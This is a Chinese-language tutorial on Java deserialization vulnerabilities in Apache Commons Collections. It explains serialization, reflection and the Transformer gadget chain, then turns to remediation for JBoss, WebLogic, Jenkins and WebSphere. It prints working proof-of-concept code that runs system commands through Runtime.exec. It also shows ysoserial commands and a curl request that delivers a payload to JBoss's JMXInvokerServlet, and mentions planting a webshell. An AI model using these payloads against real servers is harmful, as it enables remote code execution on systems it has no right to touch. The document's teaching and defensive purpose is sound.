Java反序列化漏洞分析

　　http://www.freebuf.com/vuls/90840.html
　　https://security.tencent.com/index.php/blog/msg/97
　　http://www.tuicool.com/articles/ZvMbIne
　　http://www.freebuf.com/vuls/86566.html
　　http://sec.chinabyte.com/435/13618435.shtml
　　http://www.myhack58.com/Article/html/3/62/2015/69493_2.htm
　　http://blog.nsfocus.net/java-deserialization-vulnerability-comments/
　　http://www.ijiandao.com/safe/cto/18152.html
　　https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/
　　http://www.cnblogs.com/dongchi/p/4796188.html
　　https://blog.chaitin.com/2015-11-11_java_unserialize_rce/?from=timeline&isappinstalled=0#h4_漏洞利用实例 

1. 背景
2. 认识java序列化与反序列化
3. 理解漏洞的产生
4. POC构造
5. 实际漏洞环境测试
6. 总结 

import java.io.*;

/*
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
*/

public class Java_Test{

    public static void main(String args[]) throws Exception {
        String obj = "ls ";

        // 将序列化对象写入文件object.txt中
        FileOutputStream fos = new FileOutputStream("aa.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(obj);
        os.close();

        // 从文件object.txt中读取数据
        FileInputStream fis = new FileInputStream("aa.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);

        // 通过反序列化恢复对象obj
        String obj2 = (String)ois.readObject();
        System.out.println(obj2);
        ois.close();
    }

}

　　我们创建一个Person接口，然后写两个方法：

　　　　序列化方法：   创建一个Person实例，调用函数为其三个成员变量赋值，通过writeObject方法把该对象序列化，写入Person.txt文件中
　　　　反序列化方法：调用readObject方法，返回一个经过饭序列化处理的对象

　　在测试主类里面，我们先序列化Person实例对象，然后又反序列化该对象，最后调用函数获取各个成员变量的值。

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.text.MessageFormat;
import java.io.Serializable;

class Person implements Serializable {

    /**
     * 序列化ID
     */
    private static final long serialVersionUID = -5809782578272943999L;
    
    
    private int age;
    private String name;
    private String sex;
    
    public int getAge() {
        return age;
    }

    public String getName() {
        return name;
    }

    public String getSex() {
        return sex;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public void setName(String name) {
        this.name = name;
    }

    public void setSex(String sex) {
        this.sex = sex;
    }
}

/**
 * <p>ClassName: SerializeAndDeserialize<p>
 * <p>Description: 测试对象的序列化和反序列<p>
 */
public class SerializeDeserialize_readObject {

    public static void main(String[] args) throws Exception {
        SerializePerson();//序列化Person对象
        Person p = DeserializePerson();//反序列Perons对象
        System.out.println(MessageFormat.format("name={0},age={1},sex={2}",
                                                 p.getName(), p.getAge(), p.getSex()));
    }

    /**
     * MethodName: SerializePerson
     * Description: 序列化Person对象
     */
    private static void SerializePerson() throws FileNotFoundException,
            IOException {
        Person person = new Person();
        person.setName("ssooking");
        person.setAge(20);
        person.setSex("男");
        // ObjectOutputStream 对象输出流，将Person对象存储到Person.txt文件中，完成对Person对象的序列化操作
        ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(
                new File("Person.txt")));
        oo.writeObject(person);
        System.out.println("Person对象序列化成功！");
        oo.close();
    }

    /**
     * MethodName: DeserializePerson
     * Description: 反序列Perons对象
     */
    private static Person DeserializePerson() throws Exception, IOException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("Person.txt")));
        /*
            FileInputStream fis = new FileInputStream("Person.txt"); 
            ObjectInputStream ois = new ObjectInputStream(fis);
        */
        Person person = (Person) ois.readObject();
        System.out.println("Person对象反序列化成功！");
        return person;
    }

}

项目地址
官网：　　　 http://commons.apache.org/proper/commons-collections/ 
Github:　　https://github.com/apache/commons-collections

JAVA反射机制
    在运行状态中：
　　　　　　对于任意一个类，都能够判断一个对象所属的类；
　　　　　　对于任意一个类，都能够知道这个类的所有属性和方法；
　　　　　　对于任意一个对象，都能够调用它的任意一个方法和属性；
    这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。

　　　　构造一个对象 —— 反序列化 —— 提交数据

TransformedMap.decorate方法,预期是对Map类的数据结构进行转化，该方法有三个参数。

    第一个参数为待转化的Map对象
    第二个参数为Map对象内的key要经过的转化方法（可为单个方法，也可为链，也可为空）
    第三个参数为Map对象内的value要经过的转化方法

Defines a functor interface implemented by classes that transform one object into another.
作用：接口于Transformer的类都具备把一个对象转化为另一个对象的功能

ConstantTransformer
把一个对象转化为常量，并返回。

InvokerTransformer
通过反射，返回一个对象

ChainedTransformer
ChainedTransformer为链式的Transformer，会挨个执行我们定义Transformer

public class InvokerTransformer implements Transformer, Serializable {

...

    /*
        Input参数为要进行反射的对象，
        iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型
        iArgs为对应方法的参数
        在invokeTransformer这个类的构造函数中我们可以发现，这三个参数均为可控参数
    */
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);

        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method ‘" + iMethodName + "‘ on ‘" + input.getClass() + "‘ does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method ‘" + iMethodName + "‘ on ‘" + input.getClass() + "‘ cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method ‘" + iMethodName + "‘ on ‘" + input.getClass() + "‘ threw an exception", ex);
        }
    }

}

　　1)构造一个Map和一个能够执行代码的ChainedTransformer，
　　2)生成一个TransformedMap实例
　　3)利用MapEntry的setValue()函数对TransformedMap中的键值进行修改
　　4)触发我们构造的之前构造的链式Transforme（即ChainedTransformer）进行自动转换

Map是java中的接口，Map.Entry是Map的一个内部接口。
Map提供了一些常用方法，如keySet()、entrySet()等方法。
keySet()方法返回值是Map中key值的集合；
entrySet()的返回值也是返回一个Set集合，此集合的类型为Map.Entry。
Map.Entry是Map声明的一个内部接口，此接口为泛型，定义为Entry<K,V>。它表示Map中的一个实体（一个key-value对）。
接口中有getKey(),getValue方法，可以用来对集合中的元素进行修改

public static void main(String[] args) throws Exception {
    //transformers: 一个transformer链，包含各类transformer对象（预设转化逻辑）的转化数组
    Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", 
            new Class[] {String.class, Class[].class }, new Object[] {
            "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", 
            new Class[] {Object.class, Object[].class }, new Object[] {
            null, new Object[0] }),
        new InvokerTransformer("exec", 
            new Class[] {String.class }, new Object[] {"calc.exe"})};

    //首先构造一个Map和一个能够执行代码的ChainedTransformer，以此生成一个TransformedMap
    Transformer transformedChain = new ChainedTransformer(transformers);

    Map innerMap = new hashMap();
    innerMap.put("1", "zhang");

    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    //触发Map中的MapEntry产生修改（例如setValue()函数
    Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
    
    onlyElement.setValue("foobar");
    /*代码运行到setValue()时，就会触发ChainedTransformer中的一系列变换函数：
       首先通过ConstantTransformer获得Runtime类
       进一步通过反射调用getMethod找到invoke函数
       最后再运行命令calc.exe。
    */
}

这个类有一个成员变量memberValues是Map类型 
更棒的是，AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数对value值进行一些变换。

　　1）首先构造一个Map和一个能够执行代码的ChainedTransformer，
　　2）生成一个TransformedMap实例
　　3）实例化AnnotationInvocationHandler，并对其进行序列化，
　　4）当触发readObject()反序列化的时候，就能实现命令执行。

　　POC执行流程为 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功触发

(1)java方法重写：如果一个类的方法被重写，那么调用该方法时优先调用该方法

(2)JAVA反射机制：在运行状态中
　　　　　　　　　　　　　对于任意一个类，都能够判断一个对象所属的类；
　　　　　　　　　　　　　对于任意一个类，都能够知道这个类的所有属性和方法；
　　　　　　　　　  　 　对于任意一个对象，都能够调用它的任意一个方法和属性；
(3)认识关键类与函数
    TransformedMap ：      利用其value修改时触发transform()的特性
    ChainedTransformer： 会挨个执行我们定义的Transformer
    Transformer:                 存放我们要执行的命令
    AnnotationInvocationHandler：对memberValues的每一项调用了setValue()函数

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;



public class POC_Test{
    public static void main(String[] args) throws Exception {
        //execArgs: 待执行的命令数组
        //String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" };

        //transformers: 一个transformer链，包含各类transformer对象（预设转化逻辑）的转化数组
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            /*
            由于Method类的invoke(Object obj,Object args[])方法的定义
            所以在反射内写new Class[] {Object.class, Object[].class }
            正常POC流程举例：
            ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
            */
            new InvokerTransformer(
                "getMethod",
                new Class[] {String.class, Class[].class },
                new Object[] {"getRuntime", new Class[0] }
            ),
            new InvokerTransformer(
                "invoke",
                new Class[] {Object.class,Object[].class }, 
                new Object[] {null, null }
            ),
            new InvokerTransformer(
                "exec",
                new Class[] {String[].class },
                new Object[] { "whoami" }
                //new Object[] { execArgs } 
            )
        };

        //transformedChain: ChainedTransformer类对象，传入transformers数组，可以按照transformers数组的逻辑执行转化操作
        Transformer transformedChain = new ChainedTransformer(transformers);

        //BeforeTransformerMap: Map数据结构，转换前的Map，Map数据结构内的对象是键值对形式，类比于python的dict
        //Map<String, String> BeforeTransformerMap = new HashMap<String, String>();
        Map<String,String> BeforeTransformerMap = new HashMap<String,String>();

        BeforeTransformerMap.put("hello", "hello");

        //Map数据结构，转换后的Map
       /*
       TransformedMap.decorate方法,预期是对Map类的数据结构进行转化，该方法有三个参数。
            第一个参数为待转化的Map对象
            第二个参数为Map对象内的key要经过的转化方法（可为单个方法，也可为链，也可为空）
            第三个参数为Map对象内的value要经过的转化方法。
       */
        //TransformedMap.decorate(目标Map, key的转化对象（单个或者链或者null）, value的转化对象（单个或者链或者null）);
        Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, AfterTransformerMap);

        File f = new File("temp.bin");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
    }
}

/*
思路:构建BeforeTransformerMap的键值对，为其赋值，
     利用TransformedMap的decorate方法，对Map数据结构的key/value进行transforme
     对BeforeTransformerMap的value进行转换，当BeforeTransformerMap的value执行完一个完整转换链，就完成了命令执行

     执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
     利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec()

*/

1.漏洞触发场景
   在java编写的web应用与web服务器间java通常会发送大量的序列化对象例如以下场景：
　　1)HTTP请求中的参数，cookies以及Parameters。
　　2)RMI协议，被广泛使用的RMI协议完全基于序列化
　　4)JMX 同样用于处理序列化对象
　　5)自定义协议 用来接收与发送原始的java对象

2. 漏洞挖掘
　　(1)确定反序列化输入点
　　　　首先应找出readObject方法调用，在找到之后进行下一步的注入操作。一般可以通过以下方法进行查找：
　　　　  1)源码审计：寻找可以利用的“靶点”，即确定调用反序列化函数readObject的调用地点。
　　     2)对该应用进行网络行为抓包，寻找序列化数据，如wireshark,tcpdump等
　　　  注： java序列化的数据一般会以标记（ac ed 00 05）开头，base64编码后的特征为rO0AB。
　　(2)再考察应用的Class Path中是否包含Apache Commons Collections库
　　(3)生成反序列化的payload
　　(4)提交我们的payload数据

获取方法

去github上下载jar发行版：https://github.com/frohoff/ysoserial/releases
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.2/ysoserial-0.0.2-all.jar

或者自行编译：
git　clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests

ysoserial

去github上下载jar发行版：https://github.com/frohoff/ysoserial/releases

或者自行编译：
git　clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests 
没有mvn的话需要先安装：sudo apt-get install maven

JBOSS

JBoss是一个管理和运行EJB项目的容器和服务器

Enterprise JavaBean (EJB)规范定义了开发和部署基于事务性、分布式对象应用程序的服务器端软件组件的体系结构。
企业组织可以构建它们自己的组件，或从第三方供应商购买组件。
这些服务器端组件称作 Enterprise Bean，它们是 Enterprise JavaBean 容器中驻留的分布式对象，为分布在网络中的客户机提供远程服务。

Jboss6.1

Download: http://jbossas.jboss.org/downloads/
Unzip: unzip jboss-as-7.1.1.Final.zip

修改配置文件，修改默认访问端口，设置外部可访问
 vi  /server/default/deploy/jbossweb.sar/server.xml

运行服务
iptables -I INPUT -p tcp --dport 80 -j ACCEPT
sh jbosspath/bin/run.sh -b 0.0.0.0        

关闭服务器
sh jbosspath/bin/shutdown.sh -S

测试
http://ip:8080
http://ip:8080/web-console

　补充：CentOS默认开启了防火墙，所以80端口是不能正常访问的)，输入命令：
　iptables -I INPUT -p tcp --dport 80 -j ACCEPT

搜索匹配"readObject"靶点
　　 grep -nr "readObject" *
测试是否含该漏洞的jar包文件
    grep -R InvokerTransformer
生成序列化payload数据
    java -jar ysoserial-0.0.4-all.jar CommonsCollections1 ‘想要执行的命令‘ > payload.out
提交payload数据
　　curl --header ‘Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue‘ --data-binary ‘@payload.out‘ http://ip:8080/invoker/JMXInvokerServlet

exploit例子
java -jar  ysoserial-0.0.2-all.jar   CommonsCollections1  ‘echo 1 > /tmp/pwned‘  >  payload
curl --header ‘Content-Type: application/x-java-serialized-object; class="org".jboss.invocation.MarshalledValue‘ --data-binary ‘@/tmp/payload‘ http://127.0.0.1:8080/invoker/JMXInvokerServlet

漏洞分析

　　引发：如果Java应用对用户输入，即不可信数据做了反序列化处理，那么攻击者可以通过构造恶意输入，让反序列化产生非预期的对象，非预期的对象在产生过程中就有可能带来任意代码执行。
　　
　　原因: 类ObjectInputStream在反序列化时，没有对生成的对象的输入做限制，使攻击者利用反射调用函数进行任意命令执行。
　　　　　CommonsCollections组件中对于集合的操作存在可以进行反射调用的方法
　　
　　根源：Apache Commons Collections允许链式的任意的类函数反射调用
　　　　　问题函数：org.apache.commons.collections.Transformer接口

 
　　利用：要利用Java反序列化漏洞，需要在进行反序列化的地方传入攻击者的序列化代码。

　　思路：攻击者通过允许Java序列化协议的端口，把序列化的攻击代码上传到服务器上，再由Apache Commons Collections里的TransformedMap来执行。
　  至于如何使用这个漏洞对系统发起攻击，举一个简单的思路，通过本地java程序将一个带有后门漏洞的jsp（一般来说这个jsp里的代码会是文件上传和网页版的SHELL）序列化，
将序列化后的二进制流发送给有这个漏洞的服务器，服务器会反序列化该数据的并生成一个webshell文件，然后就可以直接访问这个生成的webshell文件进行进一步利用。 

开发者：
　　为了确保序列化的安全性，可以对于一些敏感信息加密；
　　确保对象的成员变量符合正确的约束条件；
　　确保需要优化序列化的性能。
漏洞挖掘：
　　(1)通过代码审计/行为分析等手段发现漏洞所在靶点
　　(2)进行POC分析构造时可以利用逆推法

Java反序列化漏洞的快速排查和修复方案

目前打包有apache commons collections库并且应用比较广泛的主要组件有Jenkins WebLogic Jboss WebSphere  OpenNMS。
其中Jenkins由于功能需要大都直接暴露给公网。

首先确认产品中是否包含上述5种组件
使用grep命令或者其他相关搜索命令检测上述组件安装目录是否包含库Apache Commons Collections。搜索下列jar。
commons-collections.jar
*.commons-collections.jar
apache.commons.collections.jar
*.commons-collections.*.jar
如果包含请参考下述解决方案进行修复。

通用解决方案

更新Apache Commons Collections库
　　Apache Commons Collections在 3.2.2版本开始做了一定的安全处理，新版本的修复方案对相关反射调用进行了限制，对这些不安全的Java类的序列化支持增加了开关。

NibbleSecurity公司的ikkisoft在github上放出了一个临时补丁SerialKiller
　　lib地址:https://github.com/ikkisoft/SerialKiller
　　下载这个jar后放置于classpath，将应用代码中的java.io.ObjectInputStream替换为SerialKiller
　　之后配置让其能够允许或禁用一些存在问题的类，SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性，控制了外部输入反序列化后的可信类型。

SecurityManager originalSecurityManager = System.getSecurityManager();
    if (originalSecurityManager == null) {
        // 创建自己的SecurityManager
        SecurityManager sm = new SecurityManager() {
        private void check(Permission perm) {
            // 禁止exec
            if (perm instanceof java.io.FilePermission) {
                String actions = perm.getActions();
                if (actions != null && actions.contains("execute")) {
                    throw new SecurityException("execute denied!");
                }
            }
            // 禁止设置新的SecurityManager
            if (perm instanceof java.lang.RuntimePermission) {
                String name = perm.getName();
                if (name != null && name.contains("setSecurityManager")) {
                    throw new SecurityException(
                    "System.setSecurityManager denied!");
                }
            }
        }
        @Override
        public void checkPermission(Permission perm) {
            check(perm);
        }
        @Override
        public void checkPermission(Permission perm, Object context) {
            check(perm);
        }
    };
   System.setSecurityManager(sm);
}

Weblogic
影响版本：Oracle WebLogic Server, 10.3.6.0, 12.1.2.0, 12.1.3.0, 12.2.1.0 版本。
临时解决方案
1 使用 SerialKiller 替换进行序列化操作的 ObjectInputStream 类；
2 在不影响业务的情况下，临时删除掉项目里的
“org/apache/commons/collections/functors/InvokerTransformer.class” 文件；
官方解决方案
官方声明: http://www.oracle.com/technetwork/topics/security/alert-cve-2015-4852-2763333.html
Weblogic 用户将收到官方的修复支持

Jboss

临时解决方案
1 删除 commons-collections jar 中的 InvokerTransformer, InstantiateFactory, 和InstantiateTransfromer class 文件
官方解决方案
https://issues.apache.org/jira/browse/COLLECTIONS-580
https://access.redhat.com/solutions/2045023


jenkins
临时解决方案
　　1 使用 SerialKiller 替换进行序列化操作的 ObjectInputStream 类；
　　2 在不影响业务的情况下，临时删除掉项目里的“org/apache/commons/collections/functors/InvokerTransformer.class” 文件；
官方解决方案： Jenkins 发布了 安全公告 ，并且在1.638版本中修复了这个漏洞。
官方的补丁声明链接:
https://jenkins-ci.org/content/mitigating-unauthenticated-remote-code-execution-0-day-jenkins-cli
https://github.com/jenkinsci-cert/SECURITY-218


websphere
　　Version8.0，Version7.0，Version8.5 and 8.5.5 Full Profile and Liberty Profile
临时解决方案
1 使用 SerialKiller 替换进行序列化操作的 ObjectInputStream 类；
2 在不影响业务的情况下，临时删除掉项目里的“org/apache/commons/collections/functors/InvokerTransformer.class” 文件

在服务器上找org/apache/commons/collections/functors/InvokerTransformer.class类的jar，目前weblogic10以后都在Oracle/Middleware/modules下　　　　
com.bea.core.apache.commons.collections_3.2.0.jar，创建临时目录tt，解压之后删除InvokerTransformer.class类后
再改成com.bea.core.apache.commons.collections_3.2.0.jar
覆盖Oracle/Middleware/modules下，重启所有服务。如下步骤是linux详细操作方法：
A)mkdir tt
B)cp -r Oracle/Middleware/modules/com.bea.core.apache.commons.collections_3.2.0.jar ./tt
C)jar xf Oracle/Middleware/modules/com.bea.core.apache.commons.collections_3.2.0.jar
D)cd org/apache/commons/collections/functors
E)rm -rf InvokerTransformer.class
F)jar cf com.bea.core.apache.commons.collections_3.2.0.jar org/* META-INF/*
G)mv com.bea.core.apache.commons.collections_3.2.0.jar Oracle/Middleware/modules/
H)重启服务

重启服务时候要删除server-name下的cache和tmp
例如rm -rf ~/user_projects/domains/base_domain/servers/AdminServer/cache
rm -rf  ~/user_projects/domains/base_domain/servers/AdminServer/tmp